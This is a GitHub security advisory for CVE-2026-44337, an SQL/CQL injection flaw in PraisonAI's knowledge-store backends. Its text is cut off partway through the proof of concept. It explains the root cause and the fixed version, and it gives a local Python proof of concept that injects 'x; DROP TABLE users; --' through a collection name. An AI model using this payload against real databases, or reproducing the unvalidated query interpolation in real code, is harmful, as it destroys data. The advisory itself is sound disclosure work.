GitHub Advisoryadvisory · PyPI

GHSA-3643-7v76-5cj2 PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries

MEDIUM Published 2026-05-11 Modified 2026-05-11 Official page ↗
Aliases
CVE-2026-44337
Ecosystem
PyPI
Packages
PraisonAI
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weaknesses
CWE-20, CWE-89
Reviewed
2026-05-11

Affected packages

• PyPI PraisonAI: >= 2.4.1, < 4.6.34 → fixed in 4.6.34

Description

Summary PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated `name` and `collection` arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection. Details This issue affects the public persistence layer exported by persistence/__init__.py, which exposes `KnowledgeStore` and `create_knowledge_store()`. The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112): • `pgvector` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162) • `cassandra` at persistence/factory.py • `singlestore_vector` at persistence/factory.py The common root cause is that the `KnowledgeStore` interface accepts free-form collection names in `create_collection()`, `delete_collection()`, `insert()`, `upsert()`, `search()`, `get()`, `delete()`, and `count()` at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them. Representative sinks: • `SingleStoreVectorKnowledgeStore` builds `table_name = f"{self.table_prefix}{name}"` and executes raw DDL in [persistence/knowledge/singlestore_vector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for `delete_collection`, `insert`, `upsert`, `search`, `get`, `delete`, and `count`. • `PGVectorKnowledgeStore` builds `public.praison_vec_{collection}` and `idx_{name}_embedding` directly into SQL in [persistence/knowledge/pgvector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82). • `CassandraKnowledgeStore` interpolates `name` and `collection` directly into `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, `DELETE`, and `COUNT` statements in [persistence/knowledge/cassandra.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73). There is already an internal identifier validator in the conversation persistence layer: • `validate_identifier()` only allows alphanumeric characters and underscores in [persistence/conversation/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18) That validator is used for SQL identifiers such as `table_prefix` and `schema` in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends. Version scope: • `pgvector.py` and `cassandra.py` were already present by `v2.4.1` • `singlestore_vector.py` was present by `v2.4.3` • the current PyPI release on May 1, 2026 is `4.6.33`, and the same interpolation patterns are still present Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends. PoC The following local reproductions show that attacker-controlled collection names become part of the executed SQL text. 1. Reproduce the `SingleStoreVectorKnowledgeStore.delete_collection()` query construction: ```bash python3 - <<'PY' import importlib.util import pathlib import sys import types base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence") mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.__path__ = [] sys.modules[k] = v def load(name, path): spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) sys.modules[name] = mod spec.loader.exec_module(mod) return mod load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py") class FakeCursor: def __init__(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def __enter__(self): return self def __exit__(self, *args): return False class FakeConn: def __init__(self): self.calls = [] def cursor(self): return FakeCursor(self) store = ss.SingleStoreVectorKnowledgeStore() store._initialized = True store._conn = FakeConn() store.delete_collection("x; DROP TABLE users; --") print(store._conn.calls[-1][0].strip()) PY ``` Observed result: ```text DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; -- ``` 2. Reproduce the `PGVectorKnowledgeStore.create_collection()` query construction: ```bash python3 - <<'PY' import importlib.util import pathlib import sys import types base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence") mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.__path__ = [] sys.modules[k] = v def load(name, path): spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) sys.modules[name] = mod spec.loader.exec_module(mod) return mod load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") psycopg2 = types.ModuleType("psycopg2") extras = types.ModuleType("psycopg2.extras") pool = types.ModuleType("psycopg2.pool") class DummyPool: def __init__(self, *a, **k): pass def getconn(self): return None def putconn(self, c): pass pool.ThreadedConnectionPool = DummyPool extras.RealDictCursor = object psycopg2.pool = pool s…

Related

Alias · CVE (1)

  • CVE-2026-44337 PraisonAI is a multi-agent teams system. vulnerability

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References